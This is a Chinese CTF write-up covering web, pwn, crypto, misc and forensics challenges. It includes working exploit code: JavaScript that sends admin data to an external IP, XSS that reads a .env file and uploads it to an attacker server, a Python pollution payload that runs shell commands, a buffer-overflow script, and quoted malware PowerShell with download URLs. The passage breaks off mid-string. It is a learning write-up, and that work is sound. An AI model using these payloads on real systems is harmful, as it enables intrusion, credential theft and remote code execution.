WEB
TODO
题目给了两个端口,也就是起了两个web服务,一个是一个TODO应用,一个是。。。额。html测试器
应用一
应用二
作者直接给出了源码,页面里看不出啥,我们直接来看源码
在util/report.js
发现了可疑的地方。
const LOGIN_URL = "http://127.0.0.1/login";
let browser = null
const visit = async (url) => {
const ctx = await browser.createIncognitoBrowserContext()
const page = await ctx.newPage()
await page.goto(LOGIN_URL, { waitUntil: 'networkidle2' })
await page.waitForSelector('form')
await page.type('wired-input[name=username]', process.env.USERNAME)
await page.type('wired-input[name=password]', process.env.PASSWORD)
await page.click('wired-button')
try {
await page.goto(url, { waitUntil: 'networkidle2' })
} finally {
await page.close()
await ctx.close()
}
}
const doReportHandler = async (req, res) => {
...
await visit(url)
...
}
在routes/index.js
里可以看到router.post('/report', doReportHandler);
意思就是,我们直接POST /report
,可以让服务端的puppeteer访问任意网页造成SSRF
很容易想到刚刚的应用二,应该是这个html测试服务,这个html测试服务,http://178.62.8.249:31022/index.php?html=
html参数传的值会显示到页面,并且不过滤html标签,那xss就来啦。
那么怎么利用这两个洞呢,先看flag放在哪,应用一里有一个websocket服务,负责添加和获取todo,里面有一段
if (userId === 1) {
quote = `A wise man once said, "the flag is ${process.env.FLAG}".`;
} else {
quote = quotes[Math.floor(Math.random() * quotes.length)];
}
这个userId===1
是初始化数据库的时候自动建的admin账户,刚好report.js
里在访问任意界面前都会登录一下这个admin账户, 那思路就很明确了,访问一个用应用二构造的恶意界面,把flag发给我们。
如果是正常的http请求,可能会因为跨域问题没办法拿到数据,但是websocket是不考虑跨域的,可以直接拿到数据。
我们直接在vps上构造一个恶意js
const ws = new WebSocket(`ws://127.0.0.1/ws`);
ws.onopen = () => {
ws.send(JSON.stringify({ action: 'add' }))
ws.send(JSON.stringify({ action: 'get' }))
}
ws.onmessage = async (msg) => {
const data = JSON.parse(msg.data);
if (data.success) {
if (data.action === 'get') {
fetch("http://myvps/" + JSON.stringify(data.tasks ))
}
else if (data.action === 'add') {
}
}
}
触发流程就是
doReportHandler
接受请求 -> puppeteer登录admin账户 -> 访问传入的url -> 加载我们的bad.js -> 连接应用一的websocket并发送消息 -> 拿到flag(加密后的)
利用刚刚的payload我们只能得到加密过的信息。
我们还需要一个密钥来对信息进行解密,继续挖源码,这里用的是aes加密,admin账户的密钥是初始化数据库的时候就写死的。
这里卡了好久,一开始的思路还是从绕过跨域来拿到admin账户的密钥
试了修改document.domain
+iframe,但是并没有成功绕过,看来CORS以及把我们能想到的都想了。
那只能继续挖源码了。
搜了下nodejs常见漏洞,看到有一个反引号“`”的用法,wsHandler.js
里有一段代码用到了反引号
await db.addTask(userId, `{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`);
async addTask(userId, data) {
const result = await this.query('INSERT INTO todos (user_id, data) VALUES (?, ?)', [userId, data]);
return result;
}
...
const task = JSON.parse(result.data);
这里的反引号直接生成的是一个字符串,然后这个字符串直接被插入了数据库,然后这个data在取出来的时候直接用JSON.parse解析,那么这里我们可以通过控制我们传入的description
的值,来修改让这个json变成我们想要的内容。
比如description
传desc\",\"secret\":\"bad secret\"}
可以看到data字符串成功被我们修改。
还有一个问题,这个字符串在被JSON.parse
解析的时候依然会报错。
对于这个点,因为data字段的长度最大是255
data VARCHAR(255) NOT NULL,
我们可以通过在前面填充垃圾数据方式让后面导致json无效的字串被mysql截段。
这里我们成功通过JSON注入让secret可控,secret可控,那我们就可以调用应用给的解密接口解密出密钥了。
首先,随便注册一个账号并登录
然后,在POST /report
{
"url": "http://127.0.0.1:8080/index.php?html=%3Cscript%20src=%22http://yourvps/bad.js%22%3E%3C/script%3E"
}
在vps上拿到加密的flag,并用我们注入的secret解密
调用POST /decrpy
接口解密出flag
bad.js内容为
const ws = new WebSocket(`ws://127.0.0.1/ws`);
ws.onopen = () => {
ws.send(JSON.stringify(
{
action: 'add',
title: "1",
description: "111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111\",\"secret\": \"73c12045f8de028073fdbe7931f2ff86\"}"
}));
ws.send(JSON.stringify({ action: 'get' }))
}
ws.onmessage = async (msg) => {
const data = JSON.parse(msg.data);
if (data.success) {
if (data.action === 'get') {
fetch("http://47.113.144.177:8000/" + JSON.stringify(data.tasks ))
}
else if (data.action === 'add') {
}
}
}
我觉得这道题主要考察一个代码审计能力以及puppeteer+SSRF相关的知识,
关于puppeteer这块,好像挺多可玩的,我记得之前做过一次用img的onerror来爆破flag的,还有去年研究生赛的CSP report-uri。
其次就是代码审计,事后我把json注入那段代码发给chatgpt并问它存不存在漏洞,一眼就被他看出来了
下面是解题参考文献
浅析NodeJS 跨源资源共享(CORS) JavaScript 通信 / CORS、WebSocket JSON注入入门
矿机
网站首页是一个系统信息监控的静态页
有两个可以交互的地方,一个是点击Download Diagnostics
会访问/generate-report
,响应的是pdf的二进制内容,pdf的内容像是用访问这个网站然后导出pdf得到的。
另一个是下拉框选择时间参数,会访问/stats?period=1m
,响应的内容是当前系统信息的json,没什么有价值的。
{
"success":true,
"current":{
...
},
"average":{
...
}
}
对网站内容有了一个大致的了解之后,接下来捋代码以及配置细节。先看web
--------------------------------------------# main.py
@app.route("/")
def stats_handler():
return render_template("index.html", reports=fetch_reports(), system_version=system_version)
@app.route("/generate-report")
def generate_report_handler():
...
try:
pdf_response = requests.get(f"{pdf_generation_URL}/generate?url={quote('http://localhost/')}")
...
return send_file(
io.BytesIO(pdf_response.content),
mimetype="application/json",
as_attachment=True,
download_name="report.pdf"
)
except:
...
@app.route("/report", defaults={"report_id": None}, methods=["GET"])
@app.route("/report/<report_id>", methods=["GET"])
@auth_required
def report_handler(report_id):
...
return render_template("report.html", report=report, title=title, description=description)
@app.route("/report", defaults={"report_id": None}, methods=["POST"])
@app.route("/report/<report_id>", methods=["POST"])
@auth_required
def submit_report_handler(report_id):
...
return jsonify({"success": True, "report_id": str(report)})
--------------------------------------------# auth.py
engineer_username = os.environ.get("ENGINEER_USERNAME")
engineer_password = os.environ.get("ENGINEER_PASSWORD")
if engineer_username is None or engineer_password is None:
print("Missing engineer username and password, shutting down...")
exit()
class AuthenticationException(Exception):
pass
def auth_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
try:
header_value = request.headers.get("Authorization")
if header_value is None:
raise AuthenticationException("No Authorization header")
if not header_value.startswith("Basic "):
raise AuthenticationException("Only Basic auth supported")
_, encoded_auth = header_value.split(" ")
decoded_auth = base64.b64decode(encoded_auth).decode()
username, password = decoded_auth.split(":")
if username != engineer_username or password != engineer_password:
raise AuthenticationException("Invalid username and password")
return f(*args, **kwargs)
except AuthenticationException as e:
...
return decorated_function
--------------------------------------------# report.py
def fetch_reports():
reports = []
for report_name in os.listdir(report_store):
reports.append(Report(report_name.replace(".json", "")))
return reports
def merge(source, destination):
{
"__str__": ""
}
for key, value in source.items():
if hasattr(destination, "get"):
if destination.get(key) and type(value) == dict:
merge(value, destination.get(key))
else:
destination[key] = value
elif hasattr(destination, key) and type(value) == dict:
merge(value, getattr(destination, key))
else:
setattr(destination, key, value)
def get_date():
return datetime.datetime.now().strftime("%y/%m/%d %H:%M:%S")
class Report:
def __init__(self, report_id = None):
if report_id is not None and not os.path.exists(os.path.join(report_store, report_id + ".json")):
raise Exception("Report could not be found")
...
def __str__(self):
return "POD-REPORT-" + self.id
...
def update(self, data, save=True):
merge(data, self)
if save:
self.updated_at = get_date()
self.save()
...
web里有四个路由,但是有两个路由有@auth_required装饰器,从auth.py看是实现了http basic认证,账号密码给的初始化代码是,32位的密码爆破应该是不可能了,可能需要文件读取的方式读出来。
echo "ENGINEER_USERNAME=engineer" > /app/services/web/.env
echo "ENGINEER_PASSWORD=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)" >> /app/services/web/.env
那目前只有/
和/generate-report
两个路由可以访问,但是这两个路由都没有可控参数,暂时没有什么可以利用的地方。
app.use((req, res, next) => {
res.set("Access-Control-Allow-Origin", "*");
next();
});
const validPeriods = { "1m": 60_000, "5m": 300_000, "10m": 600_000 };
const statStore = [];
app.get("/stats", async (req, res) => {
const { period } = req.query;
if (!period || !validPeriods.hasOwnProperty(period)) {
return res.json({
success: false,
error: `${period} is invalid. Please specify one of the following values: ${Object.keys(validPeriods).join(", ")}`,
});
}
const periodData = statStore.filter((result) => result.takenAt < new Date().getTime() + validPeriods[period]);
const averageData = periodData.reduce(
(acc, curr) => {
acc.memoryUsage += curr.memoryUsage;
acc.cpuUsage += curr.cpuUsage;
acc.diskUsage += curr.diskUsage;
return acc;
},
{ memoryUsage: 0, cpuUsage: 0, diskUsage: 0 }
);
...
return res.json({
success: true,
current: await getStats(),
average: averageData,
});
});
这个stats服务有一个可控参数period,但是存在一个校验,值被限制为const validPeriods = { "1m": 60_000, "5m": 300_000, "10m": 600_000 };
对象的键。
这里首先想到的应该是可能存在原型链污染,稍微fuzz了一下并不存在原型链污染。但是发现了一个有趣的输入,当传入的参数为?period[toString]=1的时候,服务端会直接panic,暂时也没有额外的利用。
app.get("/generate", async (req, res) => {
const { url } = req.query;
if (!url) return res.sendStatus(400);
const pdf = await generatePDF(url);
if (!pdf) return res.sendStatus(500);
res.contentType("application/pdf");
res.end(pdf);
});
最后还有一个nginx配置,nginx只代理了web和stats两个服务,pdf无法直接从外部访问
了解网站的大致内容,我们再来捋一下源码的逻辑。题目给了三个服务+一个反代 |服务|路由|作用| |—|—|—| |pdf:3002|/generate?url=|传入url,用puppeteer访问url并导出pdf| |stats:3001|/stats?period=|传入period,返回系统信息| |web:3000|/|主页面| |web:3000|/generate-report|访问pdf/generate?url=localhost并返回响应 |web:3000|/report(需要http auth)|上传报告,获取报告| |nginx||反代+缓存|
画一个简单的服务器架构图
继续审计代码,发现web的./static/js/stats.js
里存在可控的xss
const updateData = async () => {
fetch("/stats?period=" + periodSelector.value)
.then((data) => data.json())
.then((data) => {
const { current, average, success, error } = data;
if (success) {
...
errorAlert.innerHTML = "";
errorAlert.style.display = "none";
} else {
errorAlert.innerHTML = error;
errorAlert.style.display = "";
}
});
};
//resp
{
"success":false,
"error":"<strong><img src=1 onerror=alert('xss')> is invalid.</strong> Please specify one of the following values: 1m, 5m, 10m"
}
这里如果/stats
路由返回的success字段不是true,js会把error写到html,造成反射型xss。
# report.py
def merge(source, destination):
for key, value in source.items():
if hasattr(destination, "get"):
if destination.get(key) and type(value) == dict:
merge(value, destination.get(key))
else:
destination[key] = value
elif hasattr(destination, key) and type(value) == dict:
merge(value, getattr(destination, key))
else:
setattr(destination, key, value)
report.py这里存在一个很明显的原型链污染,但是目前web路由有http basic认证,暂时无法利用原型链污染。
到这貌似已经卡住了,虽然有洞但是没办法利用。
但是猜测应该是通过
后端访问localhost->xss->文件读取->读取.env的账号密码->原型链污染rce
根据猜测的利用路径,怎么让后端的puppeteer访问存在xss的页面是一个问题,因为后端puppeteer访问的时候没有任何可控的参数,所以貌似没有办法直接触发xss。
http {
...
proxy_cache_path /run/nginx/cache keys_zone=stat_cache:10m inactive=10s;
server {
...
location = /stats {
proxy_cache stat_cache;
proxy_cache_key "$arg_period";
proxy_cache_valid 200 15s;
proxy_pass http://127.0.0.1:3001;
}
location / {
proxy_pass http://127.0.0.1:3000;
}
}
}
经过漫长的审计和debug,发现了nginx配置里好像有点问题,这里nginx为/stats
设置了15s的缓存,存储的内容为period=value
。
但是,当传入的参数为?period=value1&period=value2
,对于相同的key,nginx只会解析第一个参数(可以看下nginx源码https://github.com/nginx/nginx/blob/master/src/http/ngx_http_parse.c#L2082查找参数这块)。
虽然nginx只会解析第一个参数,但是他会把uri全部转发给后端服务器。那么当我们传入的参数为?period=value1&period=value2
,看一下qs,也就是express默认的url解析库是怎么解析的。
var qs = require('qs');
var obj = qs.parse('period=value1&period=value2');
console.log(obj)
// $ node test.js
// { period: [ 'value1', 'value2' ] }
可以看到这种参数会被qs解析成数组。这两种解析的差异配上nginx的缓存,在加上stats服务的响应内容可控,period作为数组,toString方法相当于是 ",".join(period)
。因为缓存内容只和period参数名和period参数值有关,攻击者只要发送?period=1m&period=<img src=1 onerror=alert('poisoned')>
,nginx会用period=1m
当成缓存key(猜的,具体是什么格式得看nginx源码),内容为响应的内容。
return res.json({
success: false,
error: `<strong>${period} is invalid.</strong> Please specify one of the following values: ${Object.keys(validPeriods).join(", ")}`,
});
可以看到,不同的请求参数响应的内容和ETag都是一样的。
通过缓存中毒,我们可以实现不控制参数也能让后端puppeteer访问的时候xss,相当于是反射型xss变成存储型了。
下一步应该是如何能读到.env的文件的账号密码。但是由于浏览器的限制,默认情况下是没办法加载本地文件的。
之前在审代码的时候发现,在pdf和stats,都加了个任意跨域,也就是可以从任意的网站源访问这个后端服务。
app.use((req, res, next) => {
res.set("Access-Control-Allow-Origin", "*");
next();
});
那我们可以在恶意的js代码中访问http://127.0.0.1:3002/generate?url=
(pdf服务),url可控,岂不是就ssrf了。
再加上浏览器是支持file协议的,那就可以实现任意文件读取了。xss_exp如下,思路就是通过缓存中毒注入恶意js,然后访问/generate-report
让后端触发xss实现文件读取,这里还有一个点就是按理直接注入<iframe src="http://127.0.0.1:3002/generate?url=file:///app/services/web/.env" width=200 height=200></iframe>
(本地浏览器是可以加载iframe的),后端访问的pdf里应该就能加载包含这个iframe的内容,但是可能puppeteer导出pdf的时候无法把iframe加载进去,所以只能再起一个服务接收得到的pdf
def exp(payload):
proxies = {
"http": "http://127.0.0.1:8080"
}
base_url = "http://target:port"
url = "{}/stats?period=1m&period={}".format(base_url, quote(payload))
requests.get(url, proxies=proxies)
url = "{}/generate-report".format(base_url)
# 让后端puppeteer触发xss
r = requests.get(url, proxies=proxies)
with open("res.pdf", "wb") as f:
f.write(r.content)
if __name__ == '__main__':
xss_code = '''fetch('http://127.0.0.1:3002/generate?url=file:///app/services/web/.env')
.then(response => response.blob())
.then(blob => {
# 把得到的pdf上传
return fetch('http://myvps/upload', {
method: 'POST',
body: blob,
});
})
'''
xss = "eval(atob(\"{}\"))".format(b64encode(xss_code.encode()).decode())
payload = "<img src=1 onerror={} >".format(xss)
exp(payload)
# 文件接收 app.py
from flask import Flask, request
from flask_cors import CORS
app = Flask(__name__)
CORS(app)
@app.route('/upload', methods=['POST'])
def upload():
with open('./uploaded_file.pdf', 'wb') as f:
f.write(request.data)
return 'File uploaded and saved.'
if __name__ == '__main__':
app.run(host='0.0.0.0')
成功读到密码
读到账号密码之后就简单了,直接用python原型链污染rce,关于python原型链污染,这个Python原型链污染变体(prototype-pollution-in-python)讲的很详细,原理攻击面利用基本都讲了,值得学习一波。
exp如下
def exp(payload):
url = "http://target:port/report"
auth = f"engineer:123456"
headers = {
"Authorization": "Basic {}".format(base64.b64encode(auth.encode()).decode())
}
requests.post(url, headers=headers, json=payload, proxies={"http": "http://127.0.0.1:8080"})
# 触发模板渲染->触发rce
requests.get("http://target:port")
print(requests.get("http://target:port/static/flag").text)
if __name__ == '__main__':
payload = {
"title": "1",
"description": "3",
"__init__": {
"__globals__": {
"__loader__": {
"__init__": {
"__globals__": {
"sys": {
"modules": {
"jinja2": {
"runtime": {
"exported": [
"*;__import__('os').system('/readflag > /app/services/web/static/flag');#"
]
}
}
}
}
}
}
}
}
}
}
exp(payload)
总结一下,在测rce的时候发现whoami打出来的是root,/flag是400权限,这里有非预期方法,用xss+ssrf一打发现果然可以正常读/flag。还好是做完之后发现的,不然会少一部分乐趣了。 这道题主要还是漏洞入口藏得太深了,知道里面有洞,但是找不到入口太痛苦。一旦找到了参数解析差异导致的缓存中毒这个点,后面的其实都比较常规了。
PWN
你知道0xDiablos
查看文件属性
直接运行程序,输入test,得到一个回应
查看加固措施
checksec vuln
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
查看程序字符串,发现关键字flag.txt
rabin2 -z vuln
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x0000200a 0x0804a00a 8 9 .rodata ascii flag.txt
1 0x00002014 0x0804a014 35 36 .rodata ascii Hurry up and try in on server side.
2 0x00002038 0x0804a038 28 29 .rodata ascii You know who are 0xDiablos:
查看main函数,其调用vlun
查看vuln函数,gets()存在溢出
查看flag函数,发现打开一个文件,如果文件存在,获取内容,比较参数与0xdeadbeef
和0xc0ded00d
的比较,如果相等,则打印文件内容
获取偏移
pwndbg> cyclic -l 0x62616177
188
利用溢出,跳转到flag函数,覆盖两个参数的值为0xdeadbeef
和0xc0ded00d
,使flag函数打印内容
from pwn import *
io = remote('206.189.125.37',31129)
offset = 188
flag_addr = 0x80491e2
payload = 'A' * 188 + p32(flag_addr) + p32(0) + p32(0xdeadbeef) + p32(0xc0ded00d)
io.sendline(payload)
io.interactive()
CRYPTO
快速maffs
方程组可以用格罗伯纳基求解:
from Crypto.Util.number import long_to_bytes
N = 5981664384988507891478572449251897296717727847212579781448791472718547112403550208352320926002397616312181279859738938646168022481824206589739320298482728968548378237391009138243024910596491172979923991673446034011260330224409794208875199561844435663744993504673450898288161482849187018770655419007178851937895764901674192425054643548670616348302447202491340266057221307744866082461604674766259695903766772980842036324667567850124019171425634526227426965833985082234968255176231124754301435374519312001547854794352023852342682220352109083558778402466358598254431167382653831478713628185748237886560605604945010671417
c1, c2, c3 = [4064195644006411160585797813860027634920635349984344191047587061586620848352019080467087592184982883284356841385019453458842500930190512793665886381102812026066865666098391973664302897278510995945377153937248437062600080527317980210967973971371047319247120004523147629534186514628527555180736833194525516718549330721987873868571634294877416190209288629499265010822332662061001208360467692613959936438519512705706688327846470352610192922218603268096313278741647626899523312431823527174576009143724850631439559205050395629961996905961682800070679793831568617438035643749072976096500278297683944583609092132808342160168, 3972397619896893471633226994966440180689669532336298201562465946694941720775869427764056001983618377003841446300122954561092878433908258359050016399257266833626893700179430172867058140215023211349613449750819959868861260714924524414967854467488908710563470522800186889553825417008118394349306170727982570843758792622898850338954039322560740348595654863475541846505121081201633770673996898756298398831948133434844321091554344145679504115839940880338238034227536355386474785852916335583794757849746186832609785626770517073108801492522816245458992502698143396049695921044554959802743742110180934416272358039695942552488, 956566266150449406104687131427865505474798294715598448065695308619216559681163085440476088324404921175885831054464222377255942505087330963629877648302727892001779224319839877897857215091085980519442914974498275528112936281916338633178398286676523416008365096599844169979821513770606168325175652094633129536643417367820830724397070621662683223203491074814734747601002376621653739871373924630026694962642922871008486127796621355314581093953946913681152270251669050414866366693593651789709229310574005739535880988490183275291507128529820194381392682870291338920077175831052974790596134745552552808640002791037755434586]
hint = 2674558878275613295915981392537201653631411909654166620884912623530781
def solve(e):
print(f"e = {e}:")
PR.<m1,m2,m3> = PolynomialRing(Zmod(N), 3)
f1 = m1**e - c1
f2 = m2**e - c2
f3 = m3**e - c3
f4 = m1+m2+m3 - hint
try:
aa, bb, cc = Ideal([f1, f2, f3, f4]).groebner_basis()
flag = long_to_bytes(int(N-(aa-m1))) + long_to_bytes(int(N-(bb-m2))) + long_to_bytes(int(N-(cc-m3)))
print(flag)
except:
return
quit()
def main():
e = 2
while True:
solve(e)
e = next_prime(e)
if __name__ == "__main__":
main()
MISC
确定性
在下载并解压文件后,我们可以看到只有一个文件,名为 deterministic.txt。让我们打开它,看看里面有什么。
The states are correct but just for security reasons,
each character of the password is XORed with a very super secret key.
100 H 110
110 T 111
111 B 112
112 { 113
113 l 114
114 0 115
115 l 116
116 _ 117
117 n 118
118 0 119
119 p 120
120 e 121
121 } 122
9 18 69
3 61 5
69 93 22
1 36 10
9 18 69
3 61 5
69 93 22
1 36 10
17 27 20
22 28 18
12 89 1
22 28 18
12 89 1
10 93 13
...
文件的描述给了我们一个很好的提示。该文件包含一个有限状态机的状态。这些状态是正确的,但为了安全起见,密码的每个字符都与一个非常超级秘密的密钥进行异或运算。密钥是字符的ASCII值。因此,我们需要找到字符的ASCII值并将其与字符的ASCII值进行异或运算。让我们编写一个脚本来完成这个任务。我将使用Python来实现。
这个脚本将读取文件并打印两个状态之间的值。
first_state = 69420
last_state = 999
f_in = open("deterministic.txt", "r")
next = first_state
dic = {}
with open("deterministic.txt") as f_in:
for line in f_in:
values = line.strip().split(" ") # split the line in [state, value, next_state]
# dic[state] = (value, next_state)
try:
dic[int(values[0])] = (int(values[1]), int(values[2])) # with int() ignore the ascii values
except:
pass
result = []
while next != last_state:
temp = dic[next]
result.append(temp[0])
next = temp[1]
print(' '.join(str(i) for i in result))
运行脚本后,我们得到以下输出:
48 6 28 73 4 8 7 8 14 12 13 73 29 6 73 25 8 26 26 73 29 1 27 6 28 14 1 73 8 5 5 73 29 1 12 73 10 6 27 27 12 10 29 73 26 29 8 29 12 26 73 6 15 73 29 1 12 73 8 28 29 6 4 8 29 8 73 8 7 13 73 27 12 8 10 1 73 29 1 12 73 15 0 7 8 5 73 26 29 8 29 12 71 73 36 8 7 16 73 25 12 6 25 5 12 73 29 27 0 12 13 73 29 6 73 13 6 73 29 1 0 26 73 11 16 73 1 8 7 13 73 8 7 13 73 15 8 0 5 12 13 71 71 73 38 7 5 16 73 29 1 12 73 27 12 8 5 73 6 7 12 26 73 4 8 7 8 14 12 13 73 29 6 73 27 12 8 10 1 73 29 1 12 73 15 0 7 8 5 73 26 29 8 29 12 71 73 48 6 28 73 8 5 26 6 73 15 6 28 7 13 73 29 1 12 73 26 12 10 27 12 29 73 2 12 16 73 29 6 73 13 12 10 27 16 25 29 73 29 1 12 73 4 12 26 26 8 14 12 71 73 48 6 28 73 8 27 12 73 29 27 28 5 16 73 30 6 27 29 1 16 72 72 73 48 6 28 73 26 1 6 28 5 13 73 11 12 73 27 12 30 8 27 13 12 13 73 30 0 29 1 73 29 1 0 26 73 14 0 15 29 72 73 61 1 12 73 25 8 26 26 25 1 27 8 26 12 73 29 6 73 28 7 5 6 10 2 73 29 1 12 73 13 6 6 27 73 0 26 83 73 33 61 43 18 93 28 29 89 36 93 29 93 54 93 27 90 54 47 28 60 28 39 54 93 7 45 54 39 89 29 54 45 88 15 47 88 10 60 5 29 72 72 20
正如你所见,输出是一堆数字。现在我们可以使用描述中提到的提示,并使用 CyberChef 进行进一步的分析。
这是我在CyberChef中使用的配方:
现在我们需要寻找CyberChef尝试的密钥。我们可以看到密钥是69,确实这是出现的消息:
Key = 69: You managed to pass through all the correct states of the automata and reach the final state. Many p
现在我们只需将消息与密钥进行异或运算,就可以得到flag:
FORENSICS
emo
该病毒是一个宏病毒
由vb语言编写
用word打开emo.doc按alt+F11,或者在word菜单中找到宏设置
Document_open()是文件打开时执行的函数
如图
它会执行
Get4ipjzmjfvp.X8twf_cydt6
点击视图里面的对象浏览器搜索
Get4ipjzmjfvp是一个窗体一个类
点关闭点旁边的复选框控件
里面有很多代码里面混淆着病毒
对象浏览器搜索,再在代码里面观察
Get4ipjzmjfvp.X8twf_cydt6的X8twf_cydt6是一个函数
先在Get4ipjzmjfvp.X8twf_cydt6
旁边打一个断点见图1
按F8进去
我们进去这个函数里面了
点击视图的本地窗口
按住F8一段时间,观察本地窗口
经过观察这些加号不用点
里面没什么有价值的值
基本是空值
那两个字符串是用来合成命令的
这可能是合成的过程结果
现在我们目的是找到那一行执行完整合成的命令字符串
这时候出现了命令
后面应该是编码过后的
而且AMUjF5h4uz是AWLDFu7C7y比先存在
并且把自身的字符串经过图8上面的一个循环一个个给AWLDFu7C7y
先不看AMUjF5h4uz是如何生成的
我们在循环外面打一个断点
点图9左上角继续按钮
这个时候AWLDFu7C7y已经被给足了
点击视图里面的立即窗口
输入
print(AMUjF5h4uz)
print(AWLDFu7C7y)
获得他们的值
先对他们试一试用base64解码
后者解码成功前者失败
符合逻辑
说明前者还不是命令,经过循环处理得到命令的字符串
后面肯定要有个对象执行这个命令
先不反混淆这个命令
继续F8
当我们从这个循环所在的函数出来时
弹出了powershell窗口
说明命令已经执行
病毒已经放毒了
后面的代码应该不用看了
应该是图11创建对象这一句进行了命令字符串的执行
注意,这两行是一句话
Rom9dzby5v3unv8. _Create AWLDFu7C7y(I51m0kjl96lpdcfhm(Dbx3w8eu9966odzw7)), Kw8r40ymn9ne3xu, Nzkctvs5ewy_ds
Kw8r40ymn9ne3xu, Nzkctvs5ewy_ds应该是空值没有用
这个对象如何执行命令还没研究,以后再研究
现在开始反混淆
先按分号逐句分析
打开我们的powershell
sv是创建变量的缩写
gv得到值
下面挑几个分析
$Vxnlre0=$Cludkjx + [char](64) + $R6r1tuy;
$Cludkjx
和$R6r1tuy
是空值用来混淆
输入$Vxnlre0看结果值
( Dir vaRiAble:0Zx).valuE::"CreAT`E`dIREc`T`OrY"($HOME + ((('nDp'+'Jrb')+('e'+'vk4n')+'D'+'p'+('C'+'cwr_2h')+'nD'+'p') -RePlAcE ('n'+'Dp'),[cHaR]92));
([wmiclass](('wi'+'n')+('32_'+'Proc'+'e')+'s'+'s'))."cR`eaTE"($Scusbkj);
这个我也不是翻译的很清楚,应该涉及WMI的使用,以后看看
暂时翻译为下面命令
Win32_Processz.create(C:\Users\xxxx\Jrbevk4\Ccwr_2h\Ale7g_8.exe)
因为虽然它报错但是还是可以执行
它的命令意思是打开一个文件(进程)
下面放出完整反混淆
SV 0zX ([TyPe]("{2}{0}{4}{3}{1}"-f 'e','rECtorY','sYst','.IO.dI','M') ) ;
Name Value
---- -----
0zX System.IO.Directory
set TxySeo ( [TYpe]("{0}{7}{5}{6}{4}{2}{1}{8}{3}"-F'SYsTE','TM','IN','ER','pO','NeT.se','RVICE','M.','ANaG')) ;
Name Value
---- -----
TxySeo System.Net.ServicePointManager
$Nbf5tg3=('B9'+'yp'+('90'+'s'));
$Nbf5tg3=B9yp90s
$Vxnlre0=$Cludkjx + [char](64) + $R6r1tuy;
$Vxnlre0=@
$Ky3q0e8=(('Rq'+'dx')+'wo'+'5');
$Ky3q0e8=Rqdxwo5
( Dir vaRiAble:0Zx).valuE::"CreAT`E`dIREc`T`OrY"($HOME + ((('nDp'+'Jrb')+('e'+'vk4n')+'D'+'p'+('C'+'cwr_2h')+'nD'+'p') -RePlAcE ('n'+'Dp'),[cHaR]92));
System.IO.Directory::Createdirectory(C:\Users\xxxx\Jrbevk4\Ccwr_2h\)
$FN5ggmsH = (182,187,229,146,231,177,151,149,166);
一串数字
$Pyozgeo=(('J5f'+'y1')+'c'+'c');
J5fy1cc
( vaRiABLE TxYSEo ).ValuE::"SecUrI`TYp`R`OtOc`ol" = (('Tl'+'s1')+'2');
System.Net.ServicePointManager::Securltyprotocol="Tls12"
$FN5ggmsH += (186,141,228,182,177,171,229,236,239,239,239,228,181,182,171,229,234,239,239,228);
数字
$Huajgb0=(('Jn'+'o')+'5g'+'a1');
Jno5ga1
$Bb28umo = (('Ale'+'7g')+'_8');
Ale7g_8
$Hsce_js=('Kv'+('nb'+'ov_'));
Kvnbov_
$Spk51ue=(('C'+'7xo')+'9g'+'l');
C7xo9gl
$Scusbkj=$HOME+(('5'+'t'+('f'+'Jrbev'+'k')+('45tf'+'Cc'+'w')+'r'+('_2h'+'5tf')) -rEplACE ([ChAR]53+[ChAR]116+[ChAR]102),[ChAR]92)+$Bb28umo+(('.e'+'x')+'e');
$Scusbkj=C:\Users\xxxx\Jrbevk4\Ccwr_2h\Ale7g_8.exe
$FN5ggmsH += (185,179,190,184,229,151,139,157,164,235,177,239,171,183,236,141,128,187,235,134,128,158,177,176,139);
数字
$hbmskV2T=(('C'+'7xo')+'9g'+'l');
C7xo9gl
$hbmskV2T=$HOME+(('5'+'t'+('f'+'Jrbev'+'k')+('45tf'+'Cc'+'w')+'r'+('_2h'+'5tf')) -rEplACE ([ChAR]53+[ChAR]116+[ChAR]102),[ChAR]92)+$Bb28umo+(('.c'+'o')+'nf');
C:\Users\xxxxx\Jrbevk4\Ccwr_2h\Ale7g_8.conf
$Q1_y05_=('W'+('4'+'qvy')+'z8');
W4qvyz8
$Odb3hf3=&('n'+'e'+'w-object') Net.WEBclIENt;
创建一个Net.WebClient对象进行文件下载
$FN5ggmsH += (183,154,173,128,175,151,238,140,183,162,228,170,173,179,229);
数字
$Anbyt1y=('h'+('ttp:'+']['+'(s)]')+(('w]'+'[('))+(('s)'+']w'))+('da'+'-')+'i'+'n'+'du'+('s'+'trial.'+'h'+'t')+'b]'+('[(s)]'+'w'+'js')+((']'+'[('))+(('s'+')]w9IdL'+'P]['+'(s'+')]w'+'@h'))+('t'+'tp:]')+('[(s'+')]')+'w'+(']'+'[(s)]')+('wdap'+'ro'+'fesiona'+'l.h')+'tb'+('][(s'+')'+']')+'w'+('d'+'ata')+('4][(s'+')]wh')+('WgW'+'jT')+('V]'+'[')+('(s)]w@http'+'s:][(s'+')]'+'w'+']')+'['+('(s)'+']wdag'+'ra')+'ni'+'t'+('eg'+'ia')+('re.h'+'t')+'b]'+('['+'(s)')+(']ww'+'p-a'+'dm'+'in][(s)'+']wt')+('V]['+'(s'+')')+(']w@'+'h')+'tt'+'p'+(':'+'][')+('(s)]w]['+'(s'+')]www'+'w'+'.out'+'s'+'p')+('ok'+'e')+'nv'+'i'+('s'+'ions.')+('htb'+']')+'['+('(s)]w'+'wp'+'-in')+('clu'+'d')+('es][(s)'+']waW'+'o'+'M')+(']'+'[('+'s)]w')+('@'+'http:]')+('[(s)'+']w][('+'s)')+(']wmo'+'bs')+('o'+'uk.h')+(('t'+'b][('))+(('s)'+']wwp-'))+'in'+'c'+'l'+('ude'+'s]'+'[')+('(s)]'+'w')+('UY'+'30R]')+('[(s'+')]w'+'@'+'h'+'ttp:][')+('('+'s)]w')+(']['+'(s)')+(']'+'wb')+'i'+('g'+'laugh'+'s')+(('.h'+'t'+'b][(s'))+((')]'))+('ws'+'mallpot'+'ato')+'es'+((']'+'[(s'))+
